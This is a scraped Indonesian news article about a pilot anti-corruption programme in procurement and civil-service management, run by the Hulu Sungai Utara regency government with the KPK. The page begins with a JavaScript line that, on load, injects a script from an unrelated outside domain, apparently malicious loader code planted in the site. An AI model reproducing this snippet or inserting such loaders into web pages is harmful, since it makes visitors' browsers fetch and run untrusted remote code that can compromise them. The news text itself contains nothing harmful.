(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Pemkab HSU-KPK Program Piloting Pemberantasan Korupsi Sektor PBJ

KANALKALIMANTAN.COM, AMUNTAI – Pemerintah Kabupaten Hulu Sungai Utara (HSU) merespon positif langkah proaktif upaya pemberantasan korupsi di sektor pengadaan barang dan jasa (PBJ) serta manajemen ASN dengan melakukan program piloting.

Inisiatif program piloting menggandeng Direktorat Koordinasi dan Supervisi Wilayah III Komisi Pemberantasan Korupsi (KPK) di Banjarbaru, Selasa (1/8/2023).

Pj Bupati HSU, H Zakly Asswan menyampaikan terima kasih atas terlaksananya kegiatan piloting yang dilaksanakan oleh KPK .

“Kegiatan piloting ini tentunya mempunyai peran yang sangat penting dalam perbaikan tata kelola pemerintahan di Kabupaten HSU,” katanya.

Pj Bupati HSU Zakly Asswan pimpin rapat program piloting langkah proaktif dalam upaya pemberantasan korupsi di sektor pengadaan barang dan jasa serta manajemen ASN. Foto: diskominfohsu

Pemkab HSU tentunya terus berusaha sebaik mungkin untuk meningkatkan pencegahan atas tindak pidana korupsi.

Adapun pelaksanaan piloting perbaikan tata kelola pemerintah daerah Kabupaten HSU ini sendiri didasari pasal 6 huruf b UU No19 Tahun 2019 tentang perubahan kedua atas UU No 30 tahun 2002 tentang komisi pemberantasan tindak pidana korupsi.

Dimana KPK melaksanakan tugas koordinasi dengan instansi pemerintah yang berwenang melaksanakan pemberantasan tindak pidana korupsi.

Direktorat Koordinasi dan Supervisi Wilayah III KPK melalui KaSatgas 31 Uding Juharudin mengatakan, apresisasi atas keseriusan dan komitmen jajaran Pemkab HSU perbaikan dalam tata kelola pemerintahan.

“Piloting sebagai percontohan dan rujukan dalam hal perbaikan pencegahan dan pemberantasan tindak pidana korupsi di Kalimantan Selatan,” katanya.

Juharudin menyebut, pelaksanaan program piloting ini berangkat dari sebuah keterpurukan menjadi sebuah keunggulan dan percontohanmemerlukan kerjasama komitmen tinggi dari jajaran Pemkab HSU.

Monitoring Center for Prevention (MCP) sebagai instrumen pemantauan pelaporan pemberantasan korupsi di pemerintahan daerah terdiri atas sejumlah area, indikator, dan sub-indikator.

“Dengan 8 area dan indikatornya yang tertuang dalam MCP tersebut menjadi tolak ukur dalam pengelolaan pemerintahan,” tutupnya. (Kanalkalimantan.com/dew)

Reporter : dew
Editor : bie

Al Ghifari

Next Massa Berpakaian Adat Dayak Unjuk Rasa di DPRD Kalsel, Kecam Pernyataan Rocky Gerung »

Previous « Abdul Latif Tak Pernah Lapor Harta Kekayaan saat Jadi Bupati HST

Kearifan Lokal Kalsel Harus Dibaca dan Ditulis Generasi Muda

KANALKALIMANTAN.COM, BANJARMASIN - Dinas Perpustakaan dan Kearsipan Provinsi Kalimantan Selatan (Kalsel) menggelar acara sosialisasi budaya… Read More

11 jam ago